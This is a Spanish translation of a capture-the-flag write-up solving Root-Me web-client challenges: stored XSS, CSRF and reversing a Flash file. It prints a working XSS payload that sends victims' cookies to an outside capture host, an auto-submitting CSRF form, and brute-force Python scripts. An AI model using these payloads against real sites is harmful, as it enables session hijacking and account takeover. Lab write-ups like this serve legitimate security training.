Autenticación XSS, CSRF y Flash. Resolución de problemas con r0ot-mi Web - Cliente. Parte 2

imagen

En este artículo, secuestramos cookies a través de XSS almacenado, tratamos con un ataque CSRF y revertimos un archivo SWF Flash. Enlaces a artículos anteriores:

Parte 1: Web: autenticación de JavaScript, ofuscación y código nativo. Resolución de problemas con r0ot-mi Web - Cliente.

Información organizacional
Especialmente para aquellos que desean aprender algo nuevo y desarrollarse en cualquiera de las áreas de información y seguridad informática, escribiré y hablaré sobre las siguientes categorías:

  • PWN;
  • criptografía (criptografía);
  • tecnologías de red (Red);
  • inversa (ingeniería inversa);
  • esteganografía (Stegano);
  • búsqueda y explotación de vulnerabilidades WEB.

Además de esto, compartiré mi experiencia en informática forense, análisis de malware y firmware, ataques a redes inalámbricas y redes de área local, realización de pentests y escritura de exploits.

Para que pueda conocer nuevos artículos, software y otra información, creé un canal en Telegram y un grupo para discutir cualquier problema en el campo de ICD. Además, consideraré personalmente sus solicitudes personales, preguntas, sugerencias y recomendaciones personalmente y responderé a todos .

Toda la información se proporciona solo con fines educativos. El autor de este documento no tiene ninguna responsabilidad por los daños causados ​​a alguien como resultado del uso del conocimiento y los métodos obtenidos como resultado de estudiar este documento.

XSS almacenado


imagen

En la asignación, necesitamos tomar las cookies de administrador. Abrimos el sitio. Vemos un formulario donde debe ingresar un título y un mensaje. Ingresemos para ver cómo se muestra nuestra entrada en el formulario.

imagen

imagen

Entonces Tratemos de verificar XSS. Como carga útil, usaré la alerta habitual.

<script>alert(1);</script> 

Como puede ver, se nos mostró la ventana de alerta, es decir, el código JavaScript incorporado funcionó.

imagen

Como se almacenan XSS, es posible secuestrar las cookies de otros usuarios. Si no tiene su propio servidor en la red global, puede usar este sitio .

imagen

Aquí se nos da una dirección donde podemos observar todas las solicitudes a esta dirección. Ahora introduce la próxima carga útil.

 <script> document.write("<img src='https://en0q0bu21ne0wq.x.pipedream.net/?cookie=" + document.cookie + "'></img>"); </script> 

Cuando el usuario abre una página con este código, el agente intentará descargar la imagen y ejecutar una solicitud en esta dirección. Él usará su cookie como parámetro. Luego observamos el parámetro con el que vino la solicitud: esta será la cookie.

imagen

¿Por qué es peligroso secuestrar cookies? Al insertar cookies para este sitio en nuestro navegador, ingresaremos al sitio en nombre de este usuario, omitiendo el proceso de autenticación.

CSRF


imagen

En la asignación, necesitamos activar su cuenta. Vamos a ver el sitio. Nos encontramos con un formulario de autorización.

imagen

Seleccionamos el registro y nos registramos en el sitio.

imagen

Se nos dice que tendremos acceso total cuando el administrador active nuestra cuenta.

imagen

imagen

Cuando intenta marcar la casilla usted mismo, recibimos un mensaje de que no somos administradores.

imagen

Pero podemos contactar al administrador, es decir, él abrirá la página. El significado de CSRF es que el usuario realiza acciones sin saberlo. Es decir, podemos obligarlo a enviar un formulario ya completado. Verifiquemos si hay un token configurado y verificado por el servidor, como protección contra tales ataques. Es diferente cada vez.

imagen

No hay token. Esta forma de carga saldrá de esta forma.

 <form id="form" action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="post" enctype="multipart/form-data"> <input type="text" name="username" value="ralf"> <input type="checkbox" name="status" checked > <button type="submit">Submit</button> </form> <script>document.getElementById("form").submit()</script> 

Aquí hay un formulario ya completado con nuestros datos, con una marca de verificación activada. El código Javascript lo enviará después de cargar la página, respectivamente, en nombre del administrador que lo vio.

imagen

imagen

Después de un tiempo, actualizamos la página. Nuestra cuenta ha sido activada.

imagen

Flash


imagen

Necesitamos encontrar un código válido. Abramos la página. Nos encontramos con algún tipo de mecanismo de código.

imagen

Echemos un vistazo al código.

imagen

Vemos que el código convertido se verifica en JS, que presentamos. Queda por descubrir el algoritmo de conversión. También en el código hay un enlace al archivo swf. Vamos a descargarlo.

imagen

Vemos que este es un Macromedia Flash comprimido. Para revertir dichos archivos, prefiero usar JPEXS.

imagen

Encontramos el guión principal.

imagen

Vamos a desarmarlo.

imagen

Carga los datos de otro script anidado, los muerde con la clave y los envía para su ejecución. Hagámoslo Primero encontramos estos datos.

imagen

Y luego exportar a un archivo separado.

imagen

Ahora proxor con la llave.

 f = open('1_RootMe_EmbeddedSWF.bin', 'r') swf_crypt = f.read() f.close() key = 'rootmeifyoucan' swf_decrypt = '' for i in range(len(swf_crypt)): swf_decrypt += chr(ord(swf_crypt[i]) ^ ord(key[i%len(key)])) f = open('NewEmbedded.swf', 'w') f.write(swf_decrypt) f.close() 

Obtenemos un nuevo archivo. Ábrelo en JPEXS.

imagen

Encontramos el guión principal y comenzamos a analizar.

imagen

Ya que todavía tienes que escribir código. Publicaré partes de ella.

 but1 = 11266775 but2 = 11146309 but3 = 7884889 but4 = 8049718 Hash = 'dbbcd6ee441aa6d2889e6e3cae6adebe' 

Aquí vemos el código de cada botón y su ubicación en las coordenadas. Esto nos ayudará a entender qué botón tiene qué código.

imagen

De esto aprendemos que la longitud del código debe ser igual o mayor que 12. Y que el valor final es el hash MD5 de la cadena invertida.

 from hashlib import * import itertools for var in itertools.product('1234', repeat=12): ... ... if len(code) >= 12: break h = md5(code[::-1].encode()).hexdigest() 

imagen

En lugar de describir, simplemente daré este código en python'e.

 code = "" for char in var: if char == '1': code += format((but1 >> 16 & 0xFF), '02X') elif char == '2': code += format((but2 >> 8 & 0xFF), '02X') elif char == '3': code += format((but3 >> 0 & 0xFF), '02X') elif char == '4': if len(code) > 1: code = code[0:-1] 

Por lo tanto, necesitamos clasificar 4 ^ 12 = 16777216 opciones. Un poco.

 from hashlib import * import itertools but1 = 11266775 but2 = 11146309 but3 = 7884889 but4 = 8049718 Hash = 'dbbcd6ee441aa6d2889e6e3cae6adebe' for var in itertools.product('1234', repeat=12): code = "" for char in var: if char == '1': code += format((but1 >> 16 & 0xFF), '02X') elif char == '2': code += format((but2 >> 8 & 0xFF), '02X') elif char == '3': code += format((but3 >> 0 & 0xFF), '02X') elif char == '4': if len(code) > 1: code = code[0:-1] if len(code) >= 12: break h = md5(code[::-1].encode()).hexdigest() print("Password: %s, code: %s" % (var, code)) if h == Hash: print('Correct password:' + "".join(var)) Break 

imagen

Tengo una contraseña y un código.

Más y más complicado ... Puedes unirte a nosotros en Telegram . Formemos una comunidad en la que haya personas con conocimientos en muchas áreas de TI, para que siempre podamos ayudarnos mutuamente en cualquier problema de seguridad de la información y TI.

Source: https://habr.com/ru/post/477254/


All Articles